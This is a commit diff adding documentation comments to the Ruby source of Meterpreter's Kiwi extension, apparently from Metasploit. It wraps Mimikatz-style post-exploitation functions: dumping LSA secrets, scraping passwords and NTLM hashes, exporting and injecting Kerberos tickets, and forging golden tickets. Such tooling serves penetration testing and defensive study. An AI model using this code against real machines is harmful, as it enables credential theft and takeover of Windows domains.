Add comments to the kiwi source

bug/bundler_fix
OJ 2014-03-19 15:45:53 +10:00
parent 3635fff98e
commit 0dcf992781
2 changed files with 230 additions and 53 deletions

View File

@ -21,6 +21,10 @@ module Kiwi
class Kiwi < Extension class Kiwi < Extension
#
# These are constants that identify the type of credential to dump
# from the target machine.
#
PWD_ID_SEK_ALLPASS = 0 PWD_ID_SEK_ALLPASS = 0
PWD_ID_SEK_WDIGEST = 1 PWD_ID_SEK_WDIGEST = 1
PWD_ID_SEK_MSV = 2 PWD_ID_SEK_MSV = 2
@ -31,6 +35,33 @@ class Kiwi < Extension
PWD_ID_SEK_TICKETS = 7 PWD_ID_SEK_TICKETS = 7
PWD_ID_SEK_DPAPI = 8 PWD_ID_SEK_DPAPI = 8
#
# List of names which represent the flags that are part of the
# dumped kerberos tickets. The order of these is important. Each
# of them was pulled from the Mimikatz 2.0 source base.
#
@@kerberos_flags = [
"NAME CANONICALIZE",
"<unknown>",
"OK AS DELEGATE",
"<unknown>",
"HW AUTHENT",
"PRE AUTHENT",
"INITIAL",
"RENEWABLE",
"INVALID",
"POSTDATED",
"MAY POSTDATE",
"PROXY",
"PROXIABLE",
"FORWARDED",
"FORWARDABLE",
"RESERVED"
]
#
# Typical extension initialization routine.
#
def initialize(client) def initialize(client)
super(client, 'kiwi') super(client, 'kiwi')
@ -43,6 +74,11 @@ class Kiwi < Extension
]) ])
end end
#
# Dump the LSA secrets from the target machine.
#
# Returns [Array[Hash]]
#
def lsa_dump def lsa_dump
request = Packet.create_request('kiwi_lsa_dump_secrets') request = Packet.create_request('kiwi_lsa_dump_secrets')
@ -93,25 +129,14 @@ class Kiwi < Extension
return result return result
end end
@@kerberos_flags = [ #
"NAME CANONICALIZE", # Convert a flag set to a list of string representations for the bit flags
"<unknown>", # that are set.
"OK AS DELEGATE", #
"<unknown>", # +flags+ [Integer] - Integer bitmask of Kerberos token flags.
"HW AUTHENT", #
"PRE AUTHENT", # Returns [String]
"INITIAL", #
"RENEWABLE",
"INVALID",
"POSTDATED",
"MAY POSTDATE",
"PROXY",
"PROXIABLE",
"FORWARDED",
"FORWARDABLE",
"RESERVED"
]
def to_kerberos_flag_list(flags) def to_kerberos_flag_list(flags)
flags = flags >> 16 flags = flags >> 16
results = [] results = []
@ -127,6 +152,13 @@ class Kiwi < Extension
return results return results
end end
#
# List available kerberos tickets.
#
# +export+ [Bool] - Set to +true+ to export the content of each ticket
#
# Returns [Array[Hash]]
#
def kerberos_ticket_list(export) def kerberos_ticket_list(export)
export ||= false export ||= false
request = Packet.create_request('kiwi_kerberos_ticket_list') request = Packet.create_request('kiwi_kerberos_ticket_list')
@ -153,17 +185,41 @@ class Kiwi < Extension
return results return results
end end
#
# Use the given ticket in the current session.
#
# +ticket+ [Array[Byte]] - Content of the Kerberos ticket to use.
#
# Returns [Bool]
#
def kerberos_ticket_use(ticket) def kerberos_ticket_use(ticket)
request = Packet.create_request('kiwi_kerberos_ticket_use') request = Packet.create_request('kiwi_kerberos_ticket_use')
request.add_tlv(TLV_TYPE_KIWI_KERB_TKT_RAW, ticket, false, true) request.add_tlv(TLV_TYPE_KIWI_KERB_TKT_RAW, ticket, false, true)
client.send_request(request) client.send_request(request)
return true
end end
#
# Purge any Kerberos tickets that have been added to the current session.
#
# Returns [Bool]
#
def kerberos_ticket_purge def kerberos_ticket_purge
request = Packet.create_request('kiwi_kerberos_ticket_purge') request = Packet.create_request('kiwi_kerberos_ticket_purge')
client.send_request(request) client.send_request(request)
return true
end end
#
# Create a new golden kerberos ticket on the target machine and return it.
#
# +user+ [String] - Name of the user to create the ticket for.
# +domain+ [String] - Domain name.
# +sid+ [String] - SID of the domain.
# +tgt+ [String] - The kerberos ticket granting token.
#
# Returns [Array[Byte]]
#
def golden_ticket_create(user, domain, sid, tgt) def golden_ticket_create(user, domain, sid, tgt)
request = Packet.create_request('kiwi_kerberos_golden_ticket_create') request = Packet.create_request('kiwi_kerberos_golden_ticket_create')
request.add_tlv(TLV_TYPE_KIWI_GOLD_USER, user) request.add_tlv(TLV_TYPE_KIWI_GOLD_USER, user)
@ -176,6 +232,13 @@ class Kiwi < Extension
return response.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_RAW) return response.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_RAW)
end end
#
# Scrape passwords from the target machine.
#
# +pwd_id+ - ID of the type credential to scrape.
#
# Returns [Array[Hash]]
#
def scrape_passwords(pwd_id) def scrape_passwords(pwd_id)
request = Packet.create_request('kiwi_scrape_passwords') request = Packet.create_request('kiwi_scrape_passwords')
request.add_tlv(TLV_TYPE_KIWI_PWD_ID, pwd_id) request.add_tlv(TLV_TYPE_KIWI_PWD_ID, pwd_id)
@ -197,36 +260,79 @@ class Kiwi < Extension
return results return results
end end
#
# Scrape all passwords from the target machine.
#
# Returns [Array[Hash]]
#
def all_pass def all_pass
return scrape_passwords(PWD_ID_SEK_ALLPASS) return scrape_passwords(PWD_ID_SEK_ALLPASS)
end end
#
# Scrape wdigest credentials from the target machine.
#
# Returns [Array[Hash]]
#
def wdigest def wdigest
return scrape_passwords(PWD_ID_SEK_WDIGEST) return scrape_passwords(PWD_ID_SEK_WDIGEST)
end end
#
# Scrape msv credentials from the target machine.
#
# Returns [Array[Hash]]
#
def msv def msv
return scrape_passwords(PWD_ID_SEK_MSV) return scrape_passwords(PWD_ID_SEK_MSV)
end end
#
# Scrape LiveSSP credentials from the target machine.
#
# Returns [Array[Hash]]
#
def livessp def livessp
return scrape_passwords(PWD_ID_SEK_LIVESSP) return scrape_passwords(PWD_ID_SEK_LIVESSP)
end end
#
# Scrape SSP credentials from the target machine.
#
# Returns [Array[Hash]]
#
def ssp def ssp
return scrape_passwords(PWD_ID_SEK_SSP) return scrape_passwords(PWD_ID_SEK_SSP)
end end
#
# Scrape TSPKG credentials from the target machine.
#
# Returns [Array[Hash]]
#
def tspkg def tspkg
return scrape_passwords(PWD_ID_SEK_TSPKG) return scrape_passwords(PWD_ID_SEK_TSPKG)
end end
#
# Scrape Kerberos credentials from the target machine.
#
# Returns [Array[Hash]]
#
def kerberos def kerberos
return scrape_passwords(PWD_ID_SEK_KERBEROS) return scrape_passwords(PWD_ID_SEK_KERBEROS)
end end
protected protected
#
# Convert an array of bytes to a string-based hex dump in the format
# AA BB CC DD EE FF
#
# +bytes+ [Array[Byte]] - Array of bytes to convert.
#
# Returns [String].
#
def to_hex_dump(bytes) def to_hex_dump(bytes)
return nil unless bytes return nil unless bytes
@ -235,11 +341,26 @@ protected
}.join(' ') }.join(' ')
end end
#
# Convert an array of bytes to a hex string without spaces
# AABBCCDDEEFF
#
# +bytes+ [Array[Byte]] - Array of bytes to convert.
#
# Returns [String].
#
def to_hex_string(bytes) def to_hex_string(bytes)
return nil unless bytes return nil unless bytes
bytes.unpack('H*')[0] bytes.unpack('H*')[0]
end end
#
# Convert an array of bytes to a GUID string
#
# +bytes+ Array of bytes to convert.
#
# Returns [String].
#
def to_guid(bytes) def to_guid(bytes)
return nil unless bytes return nil unless bytes
s = bytes.unpack('H*')[0] s = bytes.unpack('H*')[0]

View File

@ -14,6 +14,7 @@ module Ui
# http://blog.gentilkiwi.com/mimikatz # http://blog.gentilkiwi.com/mimikatz
# #
# extension converted by OJ Reeves (TheColonial) # extension converted by OJ Reeves (TheColonial)
#
### ###
class Console::CommandDispatcher::Kiwi class Console::CommandDispatcher::Kiwi
@ -22,7 +23,16 @@ class Console::CommandDispatcher::Kiwi
include Console::CommandDispatcher include Console::CommandDispatcher
# #
# Initializes an instance of the priv command interaction. # Name for this dispatcher
#
def name
"Kiwi"
end
#
# Initializes an instance of the priv command interaction. This function
# also outputs a banner which gives proper acknowledgement to the original
# author of the Mimikatz 2.0 software.
# #
def initialize(shell) def initialize(shell)
super super
@ -63,36 +73,9 @@ class Console::CommandDispatcher::Kiwi
} }
end end
def scrape_passwords(provider, method) #
get_privs # Invoke the LSA secret dump on thet target.
print_status("Retrieving #{provider} credentials") #
accounts = method.call
table = Rex::Ui::Text::Table.new(
'Header' => "#{provider} credentials",
'Indent' => 0,
'SortIndex' => 4,
'Columns' =>
[
'Domain', 'User', 'Password', 'Auth Id', 'LM Hash', 'NTLM Hash'
]
)
accounts.each do |acc|
table << [
acc[:domain],
acc[:username],
acc[:password],
"#{acc[:auth_hi]} ; #{acc[:auth_lo]}",
acc[:lm],
acc[:ntlm]
]
end
print_line table.to_s
return true
end
def cmd_lsa_dump(*args) def cmd_lsa_dump(*args)
get_privs get_privs
@ -148,6 +131,9 @@ class Console::CommandDispatcher::Kiwi
print_line print_line
end end
#
# Invoke the golden kerberos ticket creation functionality on the target.
#
def cmd_golden_ticket_create(*args) def cmd_golden_ticket_create(*args)
if args.length != 5 if args.length != 5
print_line("Usage: golden_ticket_create user domain sid tgt ticketpath") print_line("Usage: golden_ticket_create user domain sid tgt ticketpath")
@ -166,12 +152,18 @@ class Console::CommandDispatcher::Kiwi
print_good("Golden Kerberos ticket written to #{target}") print_good("Golden Kerberos ticket written to #{target}")
end end
#
# Valid options for the ticket listing functionality.
#
@@kerberos_ticket_list_opts = Rex::Parser::Arguments.new( @@kerberos_ticket_list_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help banner" ], "-h" => [ false, "Help banner" ],
"-e" => [ false, "Export Kerberos tickets to disk" ], "-e" => [ false, "Export Kerberos tickets to disk" ],
"-p" => [ true, "Path to export Kerberos tickets to" ] "-p" => [ true, "Path to export Kerberos tickets to" ]
) )
#
# Output the usage for the ticket listing functionality.
#
def kerberos_ticket_list_usage def kerberos_ticket_list_usage
print( print(
"\nUsage: kerberos_ticket_list [-h] [-e <true|false>] [-p <path>]\n\n" + "\nUsage: kerberos_ticket_list [-h] [-e <true|false>] [-p <path>]\n\n" +
@ -179,6 +171,9 @@ class Console::CommandDispatcher::Kiwi
@@kerberos_ticket_list_opts.usage) @@kerberos_ticket_list_opts.usage)
end end
#
# Invoke the kerberos ticket listing functionality on the target machine.
#
def cmd_kerberos_ticket_list(*args) def cmd_kerberos_ticket_list(*args)
if args.include?("-h") if args.include?("-h")
kerberos_ticket_list_usage kerberos_ticket_list_usage
@ -243,11 +238,17 @@ class Console::CommandDispatcher::Kiwi
return true return true
end end
#
# Invoke the kerberos ticket purging functionality on the target machine.
#
def cmd_kerberos_ticket_purge(*args) def cmd_kerberos_ticket_purge(*args)
client.kiwi.keberos_ticket_purge client.kiwi.keberos_ticket_purge
print_good("Kerberos tickets purged") print_good("Kerberos tickets purged")
end end
#
# Use a locally stored Kerberos ticket in the current session.
#
def cmd_kerberos_ticket_use(*args) def cmd_kerberos_ticket_use(*args)
if args.length != 1 if args.length != 1
print_line("Usage: kerberos_ticket_use ticketpath") print_line("Usage: kerberos_ticket_use ticketpath")
@ -264,41 +265,64 @@ class Console::CommandDispatcher::Kiwi
print_good("Kerberos ticket applied successfully") print_good("Kerberos ticket applied successfully")
end end
#
# Dump all the possible credentials to screen.
#
def cmd_creds_all(*args) def cmd_creds_all(*args)
method = Proc.new { client.kiwi.all_pass } method = Proc.new { client.kiwi.all_pass }
scrape_passwords("all", method) scrape_passwords("all", method)
end end
#
# Dump all wdigest credentials to screen.
#
def cmd_creds_wdigest(*args) def cmd_creds_wdigest(*args)
method = Proc.new { client.kiwi.wdigest } method = Proc.new { client.kiwi.wdigest }
scrape_passwords("wdigest", method) scrape_passwords("wdigest", method)
end end
#
# Dump all msv credentials to screen.
#
def cmd_creds_msv(*args) def cmd_creds_msv(*args)
method = Proc.new { client.kiwi.msv } method = Proc.new { client.kiwi.msv }
scrape_passwords("msv", method) scrape_passwords("msv", method)
end end
#
# Dump all LiveSSP credentials to screen.
#
def cmd_creds_livessp(*args) def cmd_creds_livessp(*args)
method = Proc.new { client.kiwi.livessp } method = Proc.new { client.kiwi.livessp }
scrape_passwords("livessp", method) scrape_passwords("livessp", method)
end end
#
# Dump all SSP credentials to screen.
#
def cmd_creds_ssp(*args) def cmd_creds_ssp(*args)
method = Proc.new { client.kiwi.ssp } method = Proc.new { client.kiwi.ssp }
scrape_passwords("ssp", method) scrape_passwords("ssp", method)
end end
#
# Dump all TSPKG credentials to screen.
#
def cmd_creds_tspkg(*args) def cmd_creds_tspkg(*args)
method = Proc.new { client.kiwi.tspkg } method = Proc.new { client.kiwi.tspkg }
scrape_passwords("tspkg", method) scrape_passwords("tspkg", method)
end end
#
# Dump all Kerberos credentials to screen.
#
def cmd_creds_kerberos(*args) def cmd_creds_kerberos(*args)
method = Proc.new { client.kiwi.kerberos } method = Proc.new { client.kiwi.kerberos }
scrape_passwords("kerberos", method) scrape_passwords("kerberos", method)
end end
protected
def get_privs def get_privs
unless system_check unless system_check
print_status("Attempting to getprivs") print_status("Attempting to getprivs")
@ -323,11 +347,43 @@ class Console::CommandDispatcher::Kiwi
end end
# #
# Name for this dispatcher # Infoke the password scraping routine on the target.
# #
def name # +provider+ [String] - The name of the type of credentials to dump (used for
"Kiwi" # display purposes only).
# +method+ [Block] - Block that contains a call to the method that invokes the
# appropriate function on the client that returns the results from Meterpreter.
#
def scrape_passwords(provider, method)
get_privs
print_status("Retrieving #{provider} credentials")
accounts = method.call
table = Rex::Ui::Text::Table.new(
'Header' => "#{provider} credentials",
'Indent' => 0,
'SortIndex' => 4,
'Columns' =>
[
'Domain', 'User', 'Password', 'Auth Id', 'LM Hash', 'NTLM Hash'
]
)
accounts.each do |acc|
table << [
acc[:domain],
acc[:username],
acc[:password],
"#{acc[:auth_hi]} ; #{acc[:auth_lo]}",
acc[:lm],
acc[:ntlm]
]
end
print_line table.to_s
return true
end end
end end
end end